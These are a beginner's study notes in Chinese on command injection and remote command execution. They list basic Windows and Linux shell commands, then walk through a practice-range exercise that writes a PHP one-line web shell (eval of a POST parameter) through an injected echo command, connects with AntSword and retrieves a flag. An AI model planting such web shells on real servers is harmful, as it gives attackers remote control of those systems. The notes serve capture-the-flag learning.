初学RCE漏洞
远程命令执行
命令注入漏洞---构造恶意的操作执行命令，通过请求的方式将命令传输到服务器中，并执行
操作系统
Windows和Linux
基础的操作系统命令
windows
命令行-- win+r --> 输入cmd回车
测试与目标之间的连通性（能否与对方相互传输数据） --- ping 域名/IP地址
查看当前目录下的所有文件/文件夹 --- dir
新建文件夹 --- mkdir
切换目录（文件夹） --- cd 相对路径/绝对路径
绝对路径：完整路径
相对路径：有使用./和../
../ --- 上一级文件夹
./ --- 当前文件夹
新建文件夹 --- type nul > 文件名称
读取文件 --- type
写入文件 ---- echo
echo 123456 > xx.txt ------ 将123456写入（覆盖）到xx.txt
echo 123456 >> xx.txt ------- 将123456写入（追加） 到xx.txt
Linux
测试与目标之间的连通性（能否与对方相互传输数据） --- ping 域名/IP地址
查看当前目录下的所有文件/文件夹 --- ls/dir（不常用） （经常用于判断是否为Linux系统）
新建文件夹 --- mkdir
新建文件夹 --- touch 文件名称
读取文件 ----- cat
写入文件 ---- echo
echo 123456 > xx.txt ------ 将123456写入（覆盖）到xx.txt
echo 123456 >> xx.txt ------- 将123456写入（追加） 到xx.txt
实操
http://43.139.231.237:34063/
用dir进行查看
检测是哪种操作系统
确定之后往里面新建php文件，为之后植入一句话木马做准备
输入一句话木马echo ‘<?php @eval($_POST[%27888%27]);?》’>jiaqi.php
打开中国蚁剑进行验证是否注入一句话木马
蚁剑连接网址：所处文件位置+目标.php 如http://43.139.231.237:34063/search/chaojijiaqi.php
进入后查找目标flag
最后获取flag
以上操作需在法律规定范围内，可攻击靶场内才可执行